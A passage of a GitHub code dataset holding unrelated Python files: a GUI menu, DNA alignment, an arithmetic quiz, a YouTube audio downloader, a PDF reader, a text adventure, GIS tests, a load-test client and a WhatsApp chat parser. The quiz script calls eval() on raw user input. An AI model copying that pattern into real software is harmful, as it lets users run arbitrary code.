shape - A tuple containing the width and height (in that order) of\n#           the bounding box of the GUI\n#   pos - A tuple containing the x and y coordinates (in that order) of\n#           the top left corner of the GUI bounding box\n#\n# Returns:\n#   - The current frame for the menu GUI\n#   - Collision boxes for each menu option\n#\ndef create_menu(values: dict[str, float],\n                shape: tuple[int, int],\n                pos: tuple[int, int]) -> tuple[np.ndarray, dict[str, tuple[int, int, int, int]]]:\n    \n    # Generate collision boxes in the following format:\n    # (Top Left X, Top Left Y, Bottom Right X, Bottom Right Y)\n    boxes = {}\n    box_height = shape[1] // len(values)\n    for i,k in enumerate(values):\n        boxes[k] = (0, i * box_height, shape[0], (i + 1) * box_height - 1)\n\n    disp = update_menu(values, shape, boxes)\n\n    return (disp, boxes)\n\n\n# UPDATE MENU\n#\n# Summary:\n#   Generates the current frame for the menu GUI\n#\n# Params:\n#   values - A dictionary whose keys are mouth shapes and whose values\n#           are based on user input\n#   shape - A tuple containing the width and height (in that order) of\n#           the bounding box of the GUI\n#   boxes - Collision boxes for each menu option\n#\n# Returns:\n#   The current frame for the menu GUI\n#\ndef update_menu(values: dict[str, float],\n                shape: tuple[int, int],\n                boxes: dict[str, tuple[int, int, int, int]]) -> np.ndarray:\n    \n    disp = np.zeros((*(shape[::-1]), 3), dtype=np.uint8)\n\n    for k,v in boxes.items():\n        bar_end = int((v[2] - v[0]) * values[k] + v[0])\n        cv2.rectangle(disp, v[:2], (bar_end, v[3]), (255, 128, 0), -1)\n        org = (v[0] + 10, ((v[1] + v[3]) // 2) + 10)\n        disp = cv2.putText(disp, f\"{values[k]:0.2f} {k}\", org, cv2.FONT_HERSHEY_SIMPLEX, 1, (255, 255, 255), 2, cv2.LINE_AA) # [8]\n        cv2.rectangle(disp, v[:2], v[2:], (255, 255, 255), 3)\n\n    return disp\n\n\n# FILL COLUMN\n#\n# Summary:\n#   Fills in a group of data column-by-column\n#\n# Params:\n#   df - The dataframe that stores the information\n#   label - The label of the current column being filled\n#   files - List of files that the user is filling out info for\n#\n# Returns:\n#   None - The dataframe is modified in place to save memory\n#\ndef fill_column(df: pd.DataFrame, label: str, files: list[str]) -> None:\n\n    if label not in df:\n        df[label] = np.nan\n\n    for file in files:\n       df.at[file, label] = 1\n\n\n#                             #\n# Entry point for the program #\n#                             #\nif __name__ == \"__main__\":\n    main()\n\n\n# Sources:\n# [1] https://www.pythontutorial.net/python-basics/python-check-if-file-exists/\n# [2] https://pythonbasics.org/read-csv-with-pandas/\n# [3] https://stackoverflow.com/questions/17295086/python-joining-current-directory-and-parent-directory-with-os-path-join\n# [4] https://stackoverflow.com/questions/19859840/excluding-directories-in-os-walk\n# [5] https://stackoverflow.com/questions/16327055/how-to-add-an-empty-column-to-a-dataframe\n# [6] https://medium.com/@mh_yip/opencv-detect-whether-a-window-is-closed-or-close-by-press-x-button-ee51616f7088\n# [7] https://www.pyimagesearch.com/2015/03/09/capturing-mouse-click-events-with-python-and-opencv/\n# [8] https://www.geeksforgeeks.org/python-opencv-cv2-puttext-method/\n# [9] https://stackoverflow.com/questions/51774826/append-dictionary-to-data-frame\n# [10] https://www.programiz.com/python-programming/user-defined-exception\n# [11] https://pandas.pydata.org/docs/reference/api/pandas.DataFrame.to_csv.html","repo_name":"matthewreed2000/MoShNVR","sub_path":"sort_training.py","file_name":"sort_training.py","file_ext":"py","file_size_in_byte":12202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"72476694161","text":"#!/usr/bin/env python\n\n# Computes the score of the optimal alignment of two DNA strands.\ndef findOptimalAlignment(strand1,strand2,match,mismatch,gap):\n\t\n\t#if we have empty strand then the solution is easy:\n\tif len(strand1) == 0: return len(strand2) * gap\n\tif len(strand2) == 0: return len(strand1) * gap\n\n\t# There's the scenario where the two leading bases of\n\t# each strand are forced to align, regardless of whether or not\n\t# they actually match.\n\tbestWith = findOptimalAlignment(strand1[1:], strand2[1:],match,mismatch,\n                                    gap)\n\tif strand1[0] == strand2[0]: \n\t\treturn bestWith + match # no benefit from making other recursive calls\n\n\tbest = bestWith + mismatch\n\t\n\t# It's possible that the leading base of strand1 best\n\t# matches not the leading base of strand2, but the one after it.\n\tbestWithout = findOptimalAlignment(strand1, strand2[1:],match,mismatch,gap)\n\tbestWithout += gap # penalize for insertion of space\n\tif bestWithout > best:\n\t\tbest = bestWithout\n\n\t# opposite scenario\n\tbestWithout = findOptimalAlignment(strand1[1:], strand2,match,mismatch,gap)\n\tbestWithout += gap # penalize for insertion of space\n\tif bestWithout > best:\n\t\tbest = bestWithout\n\n\treturn best\n","repo_name":"aviadlevy/Intro2cs-huji-2014","sub_path":"ex5/align.py","file_name":"align.py","file_ext":"py","file_size_in_byte":1208,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"9287123423","text":"from random import randint as rd\r\nfrom colorama import init, Fore\r\nfrom playsound import playsound\r\nimport os\r\n\r\ninit(autoreset=True)\r\n\r\nfor i in range(100): print('')\r\n\r\ngood, bad = 0, 0\r\nmaxx = 10\r\nminn = 1\r\nmark = 0\r\n\r\npath = os.getcwd()\r\nprint(path)\r\ntrue_path = path + r'\\true_melody.mp3'\r\nfalse_path = path + r'\\false_melody.mp3'\r\nmarks_path = path + r'\\marks.txt'\r\n\r\ndifficult = 1\r\navailability_of_marks = 1\r\n\r\nwhile True:\r\n\t# Генерация случайного примера\r\n\targs = [0, 0, minn - 1]\r\n\tsign = 0\r\n\twhile args[2] < minn or args[2] > maxx:\r\n\t\targs[0], args[1] = rd(minn, maxx), rd(minn, maxx)\r\n\t\tsign = ('+', '-')[rd(0, 1)]\r\n\t\targs[2] = eval(f'{args[0]} {sign} {args[1]}')\r\n\r\n\t# Замена одного из аргументов пропуском\r\n\tspace = 2\r\n\tif difficult == 2: space = rd(0, 2)\r\n\tcorrect_input = args[space]\r\n\r\n\t# Считывание ответа от пользователя\r\n\twhile True:\r\n\t\targs[space] = '_'\r\n\t\tprint(f'{args[0]} {sign} {args[1]} = {args[2]}')\r\n\t\targs[space] = input()\r\n\t\tfor i in range(100): print('')\r\n\r\n\t\t# Закончить игру\r\n\t\tif args[space] == '':\r\n\t\t\tif availability_of_marks and mark != 0:\r\n\t\t\t\tfile = open(marks_path, 'a')\r\n\t\t\t\tfile.write(str(mark))\r\n\t\t\t\tfile.close()\r\n\t\t\tos._exit(1)\r\n\r\n\t\t# Изменить параметры ишры\r\n\t\telif args[space].strip().lower() in ('настройки', 'settings'):\r\n\t\t\tdifficult = int(input('Сложность '))\r\n\t\t\tavailability_of_marks = int(input('Сохранить окончательную оценку '))\r\n\r\n\t\t\tcontinue\r\n\r\n\t\t# Узнать статистику\r\n\t\telif args[space].strip().lower() in ('статистика', 'status'):\r\n\t\t\tres, count = 0, 0\r\n\t\t\tfile = open(marks_path, 'r')\r\n\t\t\ttext = file.read()\r\n\t\t\tfile.close()\r\n\t\t\tfor x in text:\r\n\t\t\t\tres += int(x)\r\n\t\t\t\tcount += 1\r\n\t\t\tprint(Fore.GREEN + f'Правильных ответов {good}')\r\n\t\t\tprint(Fore.RED + f'Неправильных ответов {bad}')\r\n\t\t\tprint(f'Средний балл {round(res / count, 2)}')\r\n\t\t\ttry:\r\n\t\t\t\tpercent = round(good / (good + bad) * 100)\r\n\t\t\texcept:\r\n\t\t\t\tpercent = 0\r\n\t\t\tprint(f'Процент выполнения {percent}%')\r\n\r\n\t\t\tif percent < 50:\r\n\t\t\t\tmark = 2\r\n\t\t\t\tprint(Fore.RED + f'Оценка {mark}')\r\n\t\t\telif 50 <= percent < 70:\r\n\t\t\t\tmark = 3\r\n\t\t\t\tprint(Fore.MAGENTA + f'Оценка {mark}')\r\n\t\t\telif 70 <= percent < 90:\r\n\t\t\t\tmark = 4\r\n\t\t\t\tprint(Fore.YELLOW + f'Оценка {mark}')\r\n\t\t\telse:\r\n\t\t\t\tmark = 5\r\n\t\t\t\tprint(Fore.GREEN + f'Оценка {mark}')\r\n\r\n\t\t\tcontinue\r\n\r\n\t\targs[space] = eval(args[space])\r\n\r\n\t\t# Ответ правильный\r\n\t\tif args[space] == correct_input:\r\n\t\t\tplaysound(true_path, block=False)\r\n\t\t\tgood += 1\r\n\t\t\tprint(Fore.GREEN + f'{args[0]} {sign} {args[1]} = {args[2]}')\r\n\t\t\tbreak\r\n\r\n\t\t# Ответ не правильный\r\n\t\telse:\r\n\t\t\tplaysound(false_path, block=False)\r\n\t\t\tbad += 1\r\n\t\t\tprint(Fore.RED + f'{args[0]} {sign} {args[1]} \\u2260 {args[2]}')\r\n","repo_name":"takayama3/console_test","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":2952,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"17206932742","text":"from yt_dlp import YoutubeDL\r\n\r\nwith open(\"URLS.txt\", \"r\") as f:\r\n    URLS = f.readlines()\r\n\r\npath = \"audio/\"\r\n\r\nydl_opts = {\r\n    'format': 'bestaudio/best',\r\n    'outtmpl': path + '%(title)s.%(ext)s',\r\n    'postprocessors': [{\r\n        'key': 'FFmpegExtractAudio',\r\n        'preferredcodec': 'wav',\r\n    }],\r\n}\r\n\r\nwith YoutubeDL(ydl_opts) as ydl:\r\n    ydl.download(URLS)\r\n\r\n","repo_name":"jakobbolin/sumtube","sub_path":"tube_to_wav.py","file_name":"tube_to_wav.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"3985639073","text":"import pyttsx3\nimport PyPDF2\n\n\nspeck = pyttsx3.init()\nrate = speck.getProperty('rate')\nprint (rate)\nspeck.setProperty('rate', 125)\n\nvolume = speck.getProperty('volume')\nprint (volume)\nspeck.setProperty('volume',1.0)\n\nvoices = speck.getProperty('voices')\n\nspeck.setProperty('voice', voices[4].id)\n\n\n\nurl = '/home/karthik/Documents/NS/Module_3__WebSecurity.pdf'\n\nbook = open(url,'rb')\npdfReader = PyPDF2.PdfReader(book)\n\n# for i in range(len(voices)):\n#     print(i)\n#     speck.setProperty('voice', voices[i].id)\n#     speck.say('hi karthik')\n#     speck.runAndWait()\n\npages = pdfReader.numPages\nprint(pages)\n\n\nfor i in range(1,pages):\n    print(i)\n    page = pdfReader.getPage(i)\n    text = page.extractText()\n    speck.say(text)\n    speck.runAndWait()\n\n\n\n# 3,4,11,12,15,33,36,37,41,43,51,","repo_name":"GVK116/Graph","sub_path":"read_Book.py","file_name":"read_Book.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23358965269","text":"import time\nimport random\nimport pickle\nclass ForTechMus():\n    def House():\n        print('You have entered the Museum of Forbidden Technologies.')\n        Obj1 = ['bookcase', 'Cthulu Statue', 'bloodstone', 'shelf']\n        Obj2 = ['a cat.', 'a dog.', 'The Faceless Woman Who Secretely lives in your home.', 'Old woman Jose.', 'John Peters, you know, the farmer.']\n        ChObj1 = random.choice(Obj1)\n        ChObj2 = random.choice(Obj2)\n        print('There is a ' + ChObj1 + ' in the corner. You see ' + ChObj2)\n        print('You see a time machine. Type \\'enter\\' to enter the time machine, and type \\'exit\\' to leave.')\n        typed = input()\n        response = (str(typed))\n        if response == 'exit':\n            Street1.Move()\n        if response != 'exit':\n            print('You enter the time machine. The doors close and you appear in the streets. It is a lazy day in Night Vale.')\n            print('Your heart decides to take the day off, and you fall dead in the streets.')\n            print('Wait 5 minutes for the lazy day to end, so you can return to work.')\n            time.sleep(300)\n            global level\n            level = '2!'\n            print('You have Acheived level ' + level)\n            Street2.Move()\nclass library():\n    def Library():\n        print('You have entered the library.')\n        Obj1 = ['bookcase', 'Cthulu Statue', 'bloodstone', 'shelf']\n        Obj2 = ['a cat.', 'a dog.', 'The Faceless Woman Who Secretely lives in your home.', 'Old woman Jose.', 'John Peters, you know, the farmer.']\n        ChObj1 = random.choice(Obj1)\n        ChObj2 = random.choice(Obj2)\n        print('There is a ' + ChObj1 + ' in the corner. You see ' + ChObj2)\n        print('type \\'look\\' to explore')\n        typed = input()\n        response = (str(typed))\n        if response == 'look':\n            print('You see a ton of librarians.')\n            print('They begin to chase you.')\n            print('Type \\'run\\' to run away, and type \\'hide\\' to hide from them.')\n            typed = input()\n            response = (str(typed))\n            if response == 'hide':\n                print('While hiding, you find a way out.')\n                print('You Escaped The library!')\n                global level\n                level = '1!'\n                print('You have Acheived level ' + level)\n                Street2.Move()\n            if response != 'hide':\n                print('The librarians are fast, and quickly catch you.')\n                print('The librarians gorge on your remains.')\n                print('You are dead.')\n                radioStation.Start()\nclass house():\n    def House():\n        Obj1 = ['bookcase', 'Cthulu Statue', 'bloodstone', 'shelf']\n        Obj2 = ['a cat.', 'a dog.', 'The Faceless Woman Who Secretely lives in your home.', 'Old woman Jose.', 'John Peters, you know, the farmer.']\n        ChObj1 = random.choice(Obj1)\n        ChObj2 = random.choice(Obj2)\n        print('There is a ' + ChObj1 + ' in the corner. You see ' + ChObj2)\n        print('type \\'exit\\' to leave')\n        typed = input()\n        response = (str(typed))\n        if response == 'exit':\n            print('You are in the streets.')\n            Street1.Move()\ndef Intro():\n  Intro = ['The trees are missing. Hopefully they will be back soon.', 'The Houses are ablaze.', 'All hail the glow cloud.']\n  ChosenIntro = random.choice(Intro)\n  print(ChosenIntro + ' Welcome, dear player, to Night Vale.')\n  print('Press ENTER to continue.')\n  response = input()\nclass radioStation():\n    def Start():\n        print('You are in a radio station.')\n        print('Type \\'look\\' to explore the room.')\n        print('Type \\'exit\\' to leave.')\n        while True:\n            typed = input()\n            response = (str(typed))\n            if response == 'look':\n                print('There is an abandoned Radio Booth in the corner. Inside, there is  a small tape casette.')\n                print('Type \\'exit\\' to leave.')\n            if response == 'exit':\n                print('You are in the streets.')\n                Street1.Move()\n                break\nclass Street1():\n    def Move():\n        print('type forward to go into the house in front of you.')\n        print('type left to go left, and right to go right.')\n        typed = input()\n        response = (str(typed)) \n        if response == 'forward':\n            house.House()\n        if response == 'left':\n            library.Library()\n            \nclass Street2():\n    def Move():\n        print('type forward to go into the dog park.')\n        print('type left to go left, and right to go right.')\n        typed = input()\n        response = (str(typed)) \n        if response == 'forward':\n            house.House()\n        if response == 'left':\n            house.House()\n        if response == 'right':\n            ForTechMus.House()\nIntro()\nradioStation.Start()\n\n            \n\n    \n            \n        \n","repo_name":"annarob/testing","sub_path":"christopher's programming/Welcome To Night Vale.py","file_name":"Welcome To Night Vale.py","file_ext":"py","file_size_in_byte":4904,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21219266712","text":"\"\"\"**Tests for safe vector layer class**\r\n\"\"\"\r\n\r\n__author__ = 'Tim Sutton <tim@linfiniti.com>'\r\n__revision__ = '$Format:%H$'\r\n__date__ = '21/08/2012'\r\n__license__ = \"GPL\"\r\n__copyright__ = 'Copyright 2012, Australia Indonesia Facility for '\r\n__copyright__ += 'Disaster Reduction'\r\n\r\nimport os\r\nimport logging\r\nimport unittest\r\n\r\nfrom safe.common.testing import UNITDATA\r\nfrom safe.common.utilities import temp_dir, unique_filename\r\nfrom safe.storage.utilities import read_keywords\r\nfrom safe.storage.vector import Vector\r\n\r\nLOGGER = logging.getLogger('InaSAFE')\r\nKEYWORD_PATH = os.path.abspath(\r\n    os.path.join(UNITDATA, 'exposure', 'exposure.keywords'))\r\nSQLITE_PATH = os.path.abspath(\r\n    os.path.join(UNITDATA, 'exposure', 'exposure.sqlite'))\r\nSHP_BASE = os.path.abspath(\r\n    os.path.join(UNITDATA, 'exposure', 'buildings_osm_4326'))\r\nEXPOSURE_SUBLAYER_NAME = 'buildings_osm_4326'\r\n\r\n\r\nclass VectorTest(unittest.TestCase):\r\n\r\n    def setUp(self):\r\n        msg = 'Sqlite file does not exist at %s' % SQLITE_PATH\r\n        assert os.path.exists(SQLITE_PATH), msg\r\n        msg = 'Keyword file does not exist at %s' % KEYWORD_PATH\r\n        assert os.path.exists(KEYWORD_PATH), msg\r\n        msg = 'Shp file does not exist at %s.shp' % SHP_BASE\r\n        assert os.path.exists(SHP_BASE + '.shp'), msg\r\n\r\n    def testSublayerLoading(self):\r\n        keywords = read_keywords(KEYWORD_PATH, EXPOSURE_SUBLAYER_NAME)\r\n        layer = Vector(data=SQLITE_PATH, keywords=keywords,\r\n                       sublayer=EXPOSURE_SUBLAYER_NAME)\r\n        msg = ('Expected layer to be a polygon layer, got a %s' %\r\n               layer.geometry_type)\r\n        assert layer.is_polygon_data, msg\r\n        count = len(layer)\r\n        assert count == 250, 'Expected 250 features, got %s' % count\r\n\r\n    def testShpLoading(self):\r\n        \"\"\"Test that loading a dataset with no sublayers works.\"\"\"\r\n        keywords = read_keywords(SHP_BASE + '.keywords')\r\n        layer = Vector(data=SHP_BASE + '.shp', keywords=keywords)\r\n        msg = ('Expected layer to be a polygon layer, got a %s' %\r\n               layer.geometry_type)\r\n        assert layer.is_polygon_data, msg\r\n        count = len(layer)\r\n        assert count == 250, 'Expected 250 features, got %s' % count\r\n\r\n    def testSqliteWriting(self):\r\n        \"\"\"Test that writing a dataset to sqlite works.\"\"\"\r\n        keywords = read_keywords(SHP_BASE + '.keywords')\r\n        layer = Vector(data=SHP_BASE + '.shp', keywords=keywords)\r\n        test_dir = temp_dir(sub_dir='test')\r\n        test_file = unique_filename(suffix='.sqlite', dir=test_dir)\r\n        layer.write_to_file(test_file, sublayer='foo')\r\n    testSqliteWriting.slow = True\r\n","repo_name":"lptorres/noah-inasafe","sub_path":"web_api/safe/storage/test_vector.py","file_name":"test_vector.py","file_ext":"py","file_size_in_byte":2670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"8308598355","text":"# coding:utf-8\nfrom ExecuteActionLib.ExecuteAction import ExecuteAction\nimport logging\nimport time\nimport json\nimport base64\nimport copy\nimport random\nimport requests\nimport traceback\nfrom public.ConstantSet import Constant\nfrom public.HttpClient import HttpClient\n\n\nclass ModifyinfoAction(ExecuteAction):\n    def __init__(self, case_info_dict, user_pool, p_stop_signal, log_name=\"MXTest\"):\n        super(ExecuteAction, self).__init__()\n        self.case_info_dict = case_info_dict\n        self.user_pool = user_pool\n        self.p_stop_signal = p_stop_signal\n        self.executor_obj = None\n        self.executor_phone_num = None\n        self.group_shareid = None\n        self.is_mute = False\n        self.properly_executed = False\n        self._logger = logging.getLogger(log_name)\n        self._logger_ar = logging.getLogger(\"AllResult\")\n        self.check_result = False\n        self.attach_conf_id = None\n        self.conf_obj = None\n        self.conf_mid_map = None\n        self.modifyinfo_mem_phone_num = None\n        self.modify_mid = None\n\n    def _execute_action(self):\n        try :\n            if \"check_result\" in self.case_info_dict:\n                self.check_result = self.case_info_dict[\"check_result\"]\n\n            self.executor_phone_num = random.choice(self.user_pool.conf_chair_phone_num_list)\n            self._logger.info(\"XXXXXXXX\" + str(self.executor_phone_num))\n            self.executor_obj = self.user_pool.user_phone_num_obj_dict[self.executor_phone_num]\n            self.attach_conf_id = self.executor_obj.attach_conf_id\n\n            self.conf_obj = copy.deepcopy(self.user_pool.conf_id_obj_dict[self.attach_conf_id])\n            self.conf_mid_map = self.conf_obj.mid_map\n\n\n            if self.check_result:\n                self.user_pool.cache_lock.acquire()\n                self._logger.debug(\"aqf:pppp start\" + str(self.conf_mid_map) + \":\" + str(time.strftime('%Y%m%d_%H%M%S', time.localtime(time.time()))))\n                self.modifyinfo_mem_phone_num = copy.deepcopy(self.user_pool.in_conf_mem_phone_num_list.pop())\n                self.user_pool.cache_lock.release()\n            else:\n                # 在mid_list中随机选取一个元素\n                self.modifyinfo_mem_phone_num = random.choice(self.user_pool.in_conf_mem_phone_num_list)\n            \"\"\"self.modifyinfo_mem_phone_num = copy.deepcopy(self.user_pool.in_conf_mem_phone_num_list.pop())\"\"\"\n\n\n            self._logger.info(\"aqf2: getinfo_mem_phone_num\" + str(self.modifyinfo_mem_phone_num))\n\n            self.modify_mid = self.conf_mid_map[str(self.user_pool.user_phone_num_obj_dict[self.modifyinfo_mem_phone_num].user_info_dict[\"userID\"])]\n\n            http_response = self._execute_http_request()\n            if http_response.status_code == 200:\n                if self.check_result:\n                    if not self._check_result():\n                        self._logger.error(\"modifyinfo check Fail!\")\n                        self._logger_ar.debug(\"execute modifyinfo: check result fail! http.status_code == 200\")\n                        return False\n                    self._logger.debug(\n                        \"aqf:pppp end\" +  str(self.conf_mid_map) + \":\" +str(time.strftime('%Y%m%d_%H%M%S', time.localtime(time.time()))))\n                    self._logger_ar.debug(\"execute modifyinfo: check result success! http.status_code == 200\")\n                else :\n                    self._logger_ar.debug(\"execute modifyinfo: http.status_code == 200\")\n\n                self.user_pool.cache_lock.acquire()\n                if self.modifyinfo_mem_phone_num not in self.user_pool.in_conf_mem_phone_num_list:\n                    self.user_pool.in_conf_mem_phone_num_list.appendleft(self.modifyinfo_mem_phone_num)\n                self.user_pool.cache_lock.release()\n\n                self._logger.debug(\"modifyinfo check success!\")\n                self.properly_executed = True\n                return True\n            else:\n                self._logger.error(\"modifyinfo check Fail!\")\n                if self.check_result:\n                    self._logger_ar.debug(\"execute modifyinfo: check result NA! http.status_code == \"  + str(http_response.status_code))\n\n                self._logger_ar.debug(\"execute modifyinfo: http.status_code == \" + str(http_response.status_code))\n                return False\n        except:\n            self._logger.error(\"Return False because of except.\")\n            self._logger_ar.debug(\"execute modifyinfo: except\")\n            self._logger.error(traceback.format_exc())\n            return False\n        finally:\n            sleep_after = 0\n\n            if \"sleep_after\" in self.case_info_dict:\n                sleep_after = self.case_info_dict[\"sleep_after\"]\n            if not self.properly_executed:\n                self._clean_up_when_fail()\n            time.sleep(sleep_after)\n            return self.properly_executed\n\n    def _execute_http_request(self):\n        self._logger.info(\"execute modifyinfo\")\n        url = Constant.CONFS_URL + \"/\" + str(self.attach_conf_id) + \"/members/status\"\n        method = 'POST'\n        # 使用把参数列表中的groupshareid\n        data = [{\"mid\": self.modify_mid, \"name\" : \"jack\"}, {\"mid\": self.modify_mid, \"vs\" : 2}]\n        data = json.dumps(data)\n        headers = {'authorization': self.executor_obj.user_info_dict[\"basicToken\"],\n                   \"Content-Type\": \"application/json; charset=utf-8\"}\n        execute_http_client = HttpClient(url)\n        r = execute_http_client.request(method=method, url=url, name=\"/members/status\",\n                                        catch_response=False, headers=headers,\n                                        data=data)\n        return r\n\n    def _clean_up_when_fail(self):\n        if self.user_pool.cache_lock.locked():\n            self.user_pool.cache_lock.release()\n\n        if self.modifyinfo_mem_phone_num not in self.user_pool.in_conf_mem_phone_num_list:\n            self.user_pool.cache_lock.acquire()\n            self.user_pool.in_conf_mem_phone_num_list.appendleft(self.modifyinfo_mem_phone_num)\n            self.user_pool.cache_lock.release()\n\n        abnormal_interrupt = False\n        if \"abnormal_interrupt\" in self.case_info_dict:\n            abnormal_interrupt = self.case_info_dict[\"abnormal_interrupt\"]\n\n        if abnormal_interrupt:\n            self.p_stop_signal.set()\n            # False，设置终止整个测试信号\n        else:\n            pass\n\n    def _check_result(self):\n        r_respone = self._get_self_info()\n        self._logger.debug(\n            \"r_respone\" + str(r_respone.status_code) + str(r_respone.text))\n        if r_respone.status_code != 200:\n            return False\n\n        chair_info = []\n        chair_info = json.loads(r_respone.text)[\"members\"][0]\n        if chair_info[\"name\"] == \"jack\" and chair_info[\"vs\"] == 2 and chair_info[\"ol\"] :\n            return True\n        else:\n            return False\n\n    def _get_self_info(self):\n        url = Constant.CONFS_URL + \"/\" + str(self.attach_conf_id) + \"/members\"\n        method = 'POST'\n        # 使用把参数列表中的groupshareid\n        data = [self.modify_mid,]\n        data = json.dumps(data)\n        self._logger.debug(\"aqf: print token:\" + str(self.executor_obj.user_info_dict[\"basicToken\"]))\n        headers = {'authorization': self.executor_obj.user_info_dict[\"basicToken\"],\n                   \"Content-Type\": \"application/json; charset=utf-8\"}\n        execute_http_client = HttpClient(url)\n        r = execute_http_client.request(method=method, url=url, name=\"/members\",\n                                        catch_response=False, headers=headers,\n                                        data=data)\n        return r\n\n","repo_name":"ningrulin/PerformanceTest","sub_path":"ExecuteActionLib/Modifyinfo.py","file_name":"Modifyinfo.py","file_ext":"py","file_size_in_byte":7666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"11373893614","text":"import sys\n\nwith open(sys.argv[1]) as f:\n  lines = list(map(str.split, f.readlines()))\n\n# part 1 - find how many are 1,4,7 or 8\nstrs = 0\nfor line in lines:\n  sp = line[11:]\n  for s in sp:\n    if len(s) in [2,3,4,7]:\n      strs += 1\n\nprint(strs)\n\n# part 2 - sum of the decoded numbers\ns = 0\nfor line in lines:\n  p1 = line[:10]\n  p2 = line[11:]\n  \n  num_map = {}\n  for i in p1:\n    lp = len(i)\n    if lp == 2:\n      num_map[i] = 1\n    elif lp == 3:\n      num_map[i] = 7\n    elif lp == 4:\n      num_map[i] = 4\n    elif lp == 7:\n      num_map[i] = 8\n    elif lp == 5:\n      num_map[i] = 3 # NO! \n    elif lp == 6:\n      num_map[i] = 5 # no!\n  print(num_map)\n\n  s += int(''.join(list(map(lambda x : str(num_map[x]), p2))))\n\nprint(s)\n\n\"\"\"/*\n\n  const three = pattern.find(item => item.length === 5 && one.split('').every(ele => item.includes(ele)))\n  const nine = pattern.find(item => item.length === 6 && four.split('').every(ele => item.includes(ele)))\n  const e = eight.split('').find(ele => !nine.includes(ele))\n  const zero = pattern.find(item => item.length === 6 && item !== nine && one.split('').every(ele => item.includes(ele)))\n  const six = pattern.find(item => item.length === 6 && item !== nine && item !== zero)\n  const two = pattern.find(item => item.length === 5 && item !== three && item.includes(e))\n  const five = pattern.find(item => item.length === 5 && item !== three && !item.includes(e))\n\n\n*/\"\"\"\n","repo_name":"kolharsam/aoc","sub_path":"2021/8/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1413,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"}
+{"seq_id":"28254082012","text":"import re\nimport pandas\n\n\ndef preprocess(data: str) -> pandas.DataFrame:\n    pattern: str = r'\\[?\\d{1,2}\\/\\d{1,2}\\/\\d{2,4}\\,\\s\\d{1,2}\\:\\d{1,2}\\:?\\d{1,2}?\\s?[a|A|p|P]?[m|M]?\\]?\\s?\\-?\\s'\n\n    messages = re.split(pattern, data)[1:]\n    dates = [date.replace('[', '').replace(']', ' -') for date in re.findall(pattern, data)]\n\n    dataframe = pandas.DataFrame({'user_message': messages, 'message_date': dates})\n\n    dataframe['message_date'] = pandas.to_datetime(dataframe['message_date'], format='%d/%m/%Y, %H:%M - ', errors='coerce') \\\n        .combine_first(pandas.to_datetime(dataframe['message_date'], format='%d/%m/%y, %H:%M - ', errors='coerce')) \\\n        .combine_first(pandas.to_datetime(dataframe['message_date'], format='%d/%m/%Y, %H:%M:%S %p - ', errors='coerce')) \\\n        .combine_first(pandas.to_datetime(dataframe['message_date'], format='%d/%m/%y, %H:%M:%S %p - ', errors='coerce')) \\\n        .combine_first(pandas.to_datetime(dataframe['message_date'], format='%d/%m/%Y, %H:%M %p - ', errors='coerce')) \\\n        .combine_first(pandas.to_datetime(dataframe['message_date'], format='%d/%m/%y, %H:%M %p - ', errors='coerce')) \\\n        .combine_first(pandas.to_datetime(dataframe['message_date'], format='%d/%m/%Y, %H:%M:%S - ', errors='coerce')) \\\n        .combine_first(pandas.to_datetime(dataframe['message_date'], format='%d/%m/%y, %H:%M:%S - ', errors='coerce'))\n\n    dataframe.rename(columns={'message_date': 'date'}, inplace=True)\n\n    users: list = list()\n    messages: list = list()\n    for message in dataframe['user_message']:\n        entry = re.split(r'([\\w\\W]+?):\\s', message)\n        if entry[1:]:\n            users.append(entry[1])\n            messages.append(' '.join(entry[2:]))\n        else:\n            users.append('group_notification')\n            messages.append(entry[0])\n\n    dataframe['user'] = users\n    dataframe['message'] = messages\n    dataframe.drop(columns=['user_message'], inplace=True)\n\n    dataframe['only_date'] = dataframe['date'].dt.date\n    dataframe['year'] = dataframe['date'].dt.year\n    dataframe['month_number'] = dataframe['date'].dt.month\n    dataframe['month'] = dataframe['date'].dt.month_name()\n    dataframe['day'] = dataframe['date'].dt.day\n    dataframe['day_name'] = dataframe['date'].dt.day_name()\n    dataframe['hour'] = dataframe['date'].dt.hour\n    dataframe['minute'] = dataframe['date'].dt.minute\n\n    period = []\n    for hour in dataframe[['day_name', 'hour']]['hour']:\n        if hour == 23:\n            period.append(str(hour) + '-' + str('00'))\n        elif hour == 0:\n            period.append(str('00') + '-' + str(hour + 1))\n        else:\n            period.append(str(hour) + '-' + str(hour + 1))\n\n    dataframe['period'] = period\n\n    return dataframe\n","repo_name":"SharanPadmanabhan/WhatsApp-Chat-Analyzer","sub_path":"src/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":2735,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
